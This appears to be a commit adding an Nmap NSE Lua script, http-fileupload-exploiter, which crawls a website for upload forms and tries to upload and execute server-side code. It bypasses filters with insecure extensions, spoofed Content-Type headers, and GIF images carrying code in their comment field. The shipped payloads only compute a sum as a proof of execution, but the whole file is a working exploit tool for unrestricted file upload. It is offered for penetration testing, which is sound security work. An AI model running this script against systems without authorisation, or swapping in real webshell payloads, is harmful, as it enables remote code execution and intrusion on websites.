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[NSE] Added http-fileupload-exploiter that exploits insecure file upload forms in web applications using various techniques.
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sophron
327
scripts/http-fileupload-exploiter.nse
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327
scripts/http-fileupload-exploiter.nse
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description = [[
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Exploits insecure file upload forms in web applications
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using various techniques like changing the Content-type
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header or creating valid image files containing the
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payload in the comment.
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]]
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---
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-- @usage nmap -p80 --script http-fileupload-exploiter.nse <target>
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--
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-- This script discovers the upload form on the target's page and
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-- attempts to exploit it using 3 different methods:
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--
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-- 1) At first, it tries to upload payloads with different insecure
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-- extensions. This will work against a weak blacklist used by a file
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-- name extension verifier.
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--
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-- 2) If (1) doesn't work, it will try to upload the same payloads
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-- this time with different Content-type headers, like "image/gif"
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-- instead of the "text/plain". This will trick any mechanisms that
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-- check the MIME type.
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--
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-- 3) If (2), doesn't work, it will create some proper GIF images
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-- that contain the payloads in the comment. The interpreter will
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-- see the executable inside some binary garbage. This will bypass
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-- any check of the actual content of the uploaded file.
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--
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-- TODO:
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-- * Use the vulns library to report.
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--
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-- @args http-fileupload-exploiter.formpaths The pages that contain
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-- the forms to exploit. For example, {/upload.php, /login.php}.
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-- Default: nil (crawler mode on)
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-- @args http-fileupload-exploiter.uploadspaths Directories with
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-- the uploaded files. For example, {/avatars, /photos}. Default:
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-- {'/uploads', '/upload', '/file', '/files', '/downloads'}
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-- @args http-fileupload-exploiter.fieldvalues The script will try to
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-- fill every field found in the upload form but that may fail
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-- due to fields' restrictions. You can manually fill those
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-- fields using this table. For example, {gender = "male", email
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-- = "foo@bar.com"}. Default: {}
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--
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-- @output
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-- PORT STATE SERVICE REASON
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-- 80/tcp open http syn-ack
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-- | Testing page /post.html
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-- |
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-- | Succesfully uploaded and executed payloads:
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-- | Filename: 1.php, MIME: text/plain
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-- |_ Filename: 1.php3, MIME: text/plain
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---
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categories = {"intrusive", "exploit", "vuln"}
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author = "George Chatzisofroniou"
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license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
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local http = require "http"
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local string = require "string"
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local httpspider = require "httpspider"
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local shortport = require "shortport"
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local stdnse = require "stdnse"
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local table = require "table"
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portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
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-- A list of payloads. The interpreted code in the 'content' variable should
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-- output the result in the 'check' variable.
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--
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-- You can manually add / remove your own payloads but make sure you
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-- don't mess up, otherwise the script may succeed when it actually
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-- hasn't.
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--
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-- Note, that more payloads will slow down your scan significaly.
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payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
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{ filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
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-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
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-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
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-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
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-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
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-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
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-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
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-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
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}
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listofrequests = {}
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-- Escape for jsp and asp payloads.
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local escape = function(s)
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return (s:gsub('%%', '%%%%'))
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end
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-- Represents an upload-request.
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local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
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local request = {
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host = host;
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port = port;
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submission = submission;
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mime = mime;
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name = name;
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filename = filename;
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partofrequest = partofrequest;
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payload = payload;
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check = check;
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uploadedpaths = {};
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success = 0;
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make = function(self)
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options = { header={} }
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options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
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options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
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stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
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local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
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return response.body
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end;
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checkPayload = function(self, uploadspaths)
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for _, uploadpath in ipairs(uploadspaths) do
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response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
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if response.status ~= 404 then
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if (response.body:match(self.check)) then
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self.success = 1
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table.insert(self.uploadedpaths, uploadpath)
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end
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end
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end
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end;
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}
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table.insert(listofrequests, request)
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return request
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end
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-- Create customized requests for all of our payloads.
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local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)
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for i, p in ipairs(payloads) do
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if image then
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p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
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end
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UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
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end
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end
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-- Make the requests that we previously created with buildRequests()
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-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
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local makeAndCheckRequests = function(uploadspaths)
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local exit = 0
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local output = {"Succesfully uploaded and executed payloads: "}
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for i=1, #listofrequests, 1 do
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listofrequests[i]:make()
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listofrequests[i]:checkPayload(uploadspaths)
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if (listofrequests[i].success == 1) then
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exit = 1
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table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
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for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
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table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
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end
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end
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end
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if exit == 1 then
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return output
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end
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listofrequests = {}
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end
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local prepareRequest = function(fields, fieldvalues)
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local filefield = 0
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local req = ""
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local value
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for _, field in ipairs(fields) do
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if field["type"] == "file" then
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filefield = field
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elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
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if fieldvalues[field["name"]] ~= nil then
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value = fieldvalues[field["name"]]
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else
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value = "SampleData0"
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end
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req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n'
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end
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end
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return req, filefield
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end
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action = function(host, port)
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local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
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local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
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local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
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local returntable = {}
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local result
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local foundform = 0
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local foundfield = 0
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local fail = 0
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local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
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if (not(crawler)) then
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return
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end
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crawler:set_timeout(10000)
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local index, k, target, response
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while (true) do
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if formpaths then
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k, target = next(formpaths, index)
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if (k == nil) then
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break
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end
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response = http.get(host, port, target)
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else
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local status, r = crawler:crawl()
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-- if the crawler fails it can be due to a number of different reasons
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-- most of them are "legitimate" and should not be reason to abort
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if ( not(status) ) then
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if ( r.err ) then
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return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
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else
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break
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end
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end
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target = tostring(r.url)
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response = r.response
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end
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if response.body then
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local forms = http.grab_forms(response.body)
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for i, form in ipairs(forms) do
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form = http.parse_form(form)
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if form then
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local action_absolute = string.find(form["action"], "https*://")
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-- Determine the path where the form needs to be submitted.
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if action_absolute then
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submission = form["action"]
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else
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local path_cropped = string.match(target, "(.*/).*")
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path_cropped = path_cropped and path_cropped or ""
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submission = path_cropped..form["action"]
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end
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foundform = 1
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partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
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if filefield ~= 0 then
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foundfield = 1
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-- Method (1).
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buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
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result = makeAndCheckRequests(uploadspaths)
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if result then
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table.insert(returntable, result)
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break
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end
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-- Method (2).
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buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
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buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
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buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
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result = makeAndCheckRequests(uploadspaths)
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if result then
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table.insert(returntable, result)
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break
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end
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-- Method (3).
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local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
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local image = inp:read("*all")
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buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)
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result = makeAndCheckRequests(uploadspaths)
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if result then
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table.insert(returntable, result)
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else
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fail = 1
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end
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end
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else
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table.insert(returntable, {"Couldn't find a file-type field."})
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end
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end
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end
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if fail == 1 then
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table.insert(returntable, {"Failed to upload and execute a payload."})
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end
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if (index) then
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index = index + 1
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else
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index = 1
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end
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end
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return returntable
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end
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